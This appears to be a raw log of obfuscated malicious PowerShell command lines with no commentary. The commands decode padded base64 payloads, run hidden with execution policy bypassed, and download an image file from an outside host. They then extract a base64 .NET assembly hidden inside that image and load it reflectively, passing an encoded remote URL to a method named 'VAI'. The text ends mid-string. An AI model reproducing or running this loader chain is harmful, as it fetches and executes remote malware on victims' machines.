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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('vAbfwTjZQSeU','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4082989.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmdvZWVnbmsvMTUuMzMuMjQuMzkxLy86cHR0aA==' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"
cmdline powershell -command "$Codigo = 'JvAbfwTjZQSeUBpvAbfwTjZQSeUG0vAbfwTjZQSeUYQBnvAbfwTjZQSeUGUvAbfwTjZQSeUVQByvAbfwTjZQSeUGwvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeU9vAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUJwBovAbfwTjZQSeUHQvAbfwTjZQSeUdvAbfwTjZQSeUBwvAbfwTjZQSeUHMvAbfwTjZQSeUOgvAbfwTjZQSeUvvAbfwTjZQSeUC8vAbfwTjZQSeUdwBhvAbfwTjZQSeUGwvAbfwTjZQSeUbvAbfwTjZQSeUBwvAbfwTjZQSeUGEvAbfwTjZQSeUcvAbfwTjZQSeUBlvAbfwTjZQSeUHIvAbfwTjZQSeUYwBhvAbfwTjZQSeUHYvAbfwTjZQSeUZQvAbfwTjZQSeUuvAbfwTjZQSeUGMvAbfwTjZQSeUbwBtvAbfwTjZQSeUC8vAbfwTjZQSeUdQB3vAbfwTjZQSeUHvAbfwTjZQSeUvAbfwTjZQSeULwB1vAbfwTjZQSeUHcvAbfwTjZQSeUcvAbfwTjZQSeUvAbfwTjZQSeU0vAbfwTjZQSeUDvAbfwTjZQSeUvAbfwTjZQSeUOvAbfwTjZQSeUvAbfwTjZQSeUyvAbfwTjZQSeUDkvAbfwTjZQSeUOvAbfwTjZQSeUvAbfwTjZQSeU5vAbfwTjZQSeUC4vAbfwTjZQSeUcvAbfwTjZQSeUBuvAbfwTjZQSeUGcvAbfwTjZQSeUJwvAbfwTjZQSeU7vAbfwTjZQSeUCQvAbfwTjZQSeUdwBlvAbfwTjZQSeUGIvAbfwTjZQSeUQwBsvAbfwTjZQSeUGkvAbfwTjZQSeUZQBuvAbfwTjZQSeUHQvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeU9vAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUTgBlvAbfwTjZQSeUHcvAbfwTjZQSeULQBPvAbfwTjZQSeUGIvAbfwTjZQSeUagBlvAbfwTjZQSeUGMvAbfwTjZQSeUdvAbfwTjZQSeUvAbfwTjZQSeUgvAbfwTjZQSeUFMvAbfwTjZQSeUeQBzvAbfwTjZQSeUHQvAbfwTjZQSeUZQBtvAbfwTjZQSeUC4vAbfwTjZQSeUTgBlvAbfwTjZQSeUHQvAbfwTjZQSeULgBXvAbfwTjZQSeUGUvAbfwTjZQSeUYgBDvAbfwTjZQSeUGwvAbfwTjZQSeUaQBlvAbfwTjZQSeUG4vAbfwTjZQSeUdvAbfwTjZQSeUvAbfwTjZQSeU7vAbfwTjZQSeUCQvAbfwTjZQSeUaQBtvAbfwTjZQSeUGEvAbfwTjZQSeUZwBlvAbfwTjZQSeUEIvAbfwTjZQSeUeQB0vAbfwTjZQSeUGUvAbfwTjZQSeUcwvAbfwTjZQSeUgvAbfwTjZQSeUD0vAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeUkvAbfwTjZQSeUHcvAbfwTjZQSeUZQBivAbfwTjZQSeUEMvAbfwTjZQSeUbvAbfwTjZQSeUBpvAbfwTjZQSeUGUvAbfwTjZQSeUbgB0vAbfwTjZQSeUC4vAbfwTjZQSeURvAbfwTjZQSeUBvvAbfwTjZQSeUHcvAbfwTjZQSeUbgBsvAbfwTjZQSeUG8vAbfwTjZQSeUYQBkvAbfwTjZQSeUEQvAbfwTjZQSeUYQB0vAbfwTjZQSeUGEvAbfwTjZQSeUKvAbfwTjZQSeUvAbfwTjZQSeUkvAbfwTjZQSeUGkvAbfwTjZQSeUbQBhvAbfwTjZQSeUGcvAbfwTjZQSeUZQBVvAbfwTjZQSeUHIvAbfwTjZQSeUbvAbfwTjZQSeUvAbfwTjZQSeUpvAbfwTjZQSeUDsvAbfwTjZQSeUJvAbfwTjZQSeUBpvAbfwTjZQSeUG0vAbfwTjZQSeUYQBnvAbfwTjZQSeUGUvAbfwTjZQSeUVvAbfwTjZQSeUBlvAbfwTjZQSeUHgvAbfwTjZQSeUdvAbfwTjZQSeUvAbfwTjZQSeUgvAbfwTjZQSeUD0vAbfwTjZQSeUIvAbfwTjZQSeUBbvAbfwTjZQSeUFMvAbfwTjZQSeUeQBzvAbfwTjZQSeUHQvAbfwTjZQSeUZQBtvAbfwTjZQSeUC4vAbfwTjZQSeUVvAbfwTjZQSeUBlvAbfwTjZQSeUHgvAbfwTjZQSeUdvAbfwTjZQSeUvAbfwTjZQSeUuvAbfwTjZQSeUEUvAbfwTjZQSeUbgBjvAbfwTjZQSeUG8vAbfwTjZQSeUZvAbfwTjZQSeUBpvAbfwTjZQSeUG4vAbfwTjZQSeUZwBdvAbfwTjZQSeUDovAbfwTjZQSeUOgBVvAbfwTjZQSeUFQvAbfwTjZQSeURgvAbfwTjZQSeU4vAbfwTjZQSeUC4vAbfwTjZQSeURwBlvAbfwTjZQSeUHQvAbfwTjZQSeUUwB0vAbfwTjZQSeUHIvAbfwTjZQSeUaQBuvAbfwTjZQSeUGcvAbfwTjZQSeUKvAbfwTjZQSeUvAbfwTjZQSeUkvAbfwTjZQSeUGkvAbfwTjZQSeUbQBhvAbfwTjZQSeUGcvAbfwTjZQSeUZQBCvAbfwTjZQSeUHkvAbfwTjZQSeUdvAbfwTjZQSeUBlvAbfwTjZQSeUHMvAbfwTjZQSeUKQvAbfwTjZQSeU7vAbfwTjZQSeUCQvAbfwTjZQSeUcwB0vAbfwTjZQSeUGEvAbfwTjZQSeUcgB0vAbfwTjZQSeUEYvAbfwTjZQSeUbvAbfwTjZQSeUBhvAbfwTjZQSeUGcvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeU9vAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUJwvAbfwTjZQSeU8vAbfwTjZQSeUDwvAbfwTjZQSeUQgBBvAbfwTjZQSeUFMvAbfwTjZQSeURQvAbfwTjZQSeU2vAbfwTjZQSeUDQvAbfwTjZQSeUXwBTvAbfwTjZQSeUFQvAbfwTjZQSeUQQBSvAbfwTjZQSeUFQvAbfwTjZQSeUPgvAbfwTjZQSeU+vAbfwTjZQSeUCcvAbfwTjZQSeUOwvAbfwTjZQSeUkvAbfwTjZQSeUGUvAbfwTjZQSeUbgBkvAbfwTjZQSeUEYvAbfwTjZQSeUbvAbfwTjZQSeUBhvAbfwTjZQSeUGcvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeU9vAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUJwvAbfwTjZQSeU8vAbfwTjZQSeUDwvAbfwTjZQSeUQgBBvAbfwTjZQSeUFMvAbfwTjZQSeURQvAbfwTjZQSeU2vAbfwTjZQSeUDQvAbfwTjZQSeUXwBFvAbfwTjZQSeUE4vAbfwTjZQSeURvAbfwTjZQSeUvAbfwTjZQSeU+vAbfwTjZQSeUD4vAbfwTjZQSeUJwvAbfwTjZQSeU7vAbfwTjZQSeUCQvAbfwTjZQSeUcwB0vAbfwTjZQSeUGEvAbfwTjZQSeUcgB0vAbfwTjZQSeUEkvAbfwTjZQSeUbgBkvAbfwTjZQSeUGUvAbfwTjZQSeUevAbfwTjZQSeUvAbfwTjZQSeUgvAbfwTjZQSeUD0vAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeUkvAbfwTjZQSeUGkvAbfwTjZQSeUbQBhvAbfwTjZQSeUGcvAbfwTjZQSeUZQBUvAbfwTjZQSeUGUvAbfwTjZQSeUevAbfwTjZQSeUB0vAbfwTjZQSeUC4vAbfwTjZQSeUSQBuvAbfwTjZQSeUGQvAbfwTjZQSeUZQB4vAbfwTjZQSeUE8vAbfwTjZQSeUZgvAbfwTjZQSeUovAbfwTjZQSeUCQvAbfwTjZQSeUcwB0vAbfwTjZQSeUGEvAbfwTjZQSeUcgB0vAbfwTjZQSeUEYvAbfwTjZQSeUbvAbfwTjZQSeUBhvAbfwTjZQSeUGcvAbfwTjZQSeUKQvAbfwTjZQSeU7vAbfwTjZQSeUCQvAbfwTjZQSeUZQBuvAbfwTjZQSeUGQvAbfwTjZQSeUSQBuvAbfwTjZQSeUGQvAbfwTjZQSeUZQB4vAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUPQvAbfwTjZQSeUgvAbfwTjZQSeUCQvAbfwTjZQSeUaQBtvAbfwTjZQSeUGEvAbfwTjZQSeUZwBlvAbfwTjZQSeUFQvAbfwTjZQSeUZQB4vAbfwTjZQSeUHQvAbfwTjZQSeULgBJvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBlvAbfwTjZQSeUHgvAbfwTjZQSeUTwBmvAbfwTjZQSeUCgvAbfwTjZQSeUJvAbfwTjZQSeUBlvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBGvAbfwTjZQSeUGwvAbfwTjZQSeUYQBnvAbfwTjZQSeUCkvAbfwTjZQSeUOwvAbfwTjZQSeUkvAbfwTjZQSeUHMvAbfwTjZQSeUdvAbfwTjZQSeUBhvAbfwTjZQSeUHIvAbfwTjZQSeUdvAbfwTjZQSeUBJvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBlvAbfwTjZQSeUHgvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeUtvAbfwTjZQSeUGcvAbfwTjZQSeUZQvAbfwTjZQSeUgvAbfwTjZQSeUDvAbfwTjZQSeUvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeUtvAbfwTjZQSeUGEvAbfwTjZQSeUbgBkvAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUJvAbfwTjZQSeUBlvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBJvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBlvAbfwTjZQSeUHgvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeUtvAbfwTjZQSeUGcvAbfwTjZQSeUdvAbfwTjZQSeUvAbfwTjZQSeUgvAbfwTjZQSeUCQvAbfwTjZQSeUcwB0vAbfwTjZQSeUGEvAbfwTjZQSeUcgB0vAbfwTjZQSeUEkvAbfwTjZQSeUbgBkvAbfwTjZQSeUGUvAbfwTjZQSeUevAbfwTjZQSeUvAbfwTjZQSeU7vAbfwTjZQSeUCQvAbfwTjZQSeUcwB0vAbfwTjZQSeUGEvAbfwTjZQSeUcgB0vAbfwTjZQSeUEkvAbfwTjZQSeUbgBkvAbfwTjZQSeUGUvAbfwTjZQSeUevAbfwTjZQSeUvAbfwTjZQSeUgvAbfwTjZQSeUCsvAbfwTjZQSeUPQvAbfwTjZQSeUgvAbfwTjZQSeUCQvAbfwTjZQSeUcwB0vAbfwTjZQSeUGEvAbfwTjZQSeUcgB0vAbfwTjZQSeUEYvAbfwTjZQSeUbvAbfwTjZQSeUBhvAbfwTjZQSeUGcvAbfwTjZQSeULgBMvAbfwTjZQSeUGUvAbfwTjZQSeUbgBnvAbfwTjZQSeUHQvAbfwTjZQSeUavAbfwTjZQSeUvAbfwTjZQSeU7vAbfwTjZQSeUCQvAbfwTjZQSeUYgBhvAbfwTjZQSeUHMvAbfwTjZQSeUZQvAbfwTjZQSeU2vAbfwTjZQSeUDQvAbf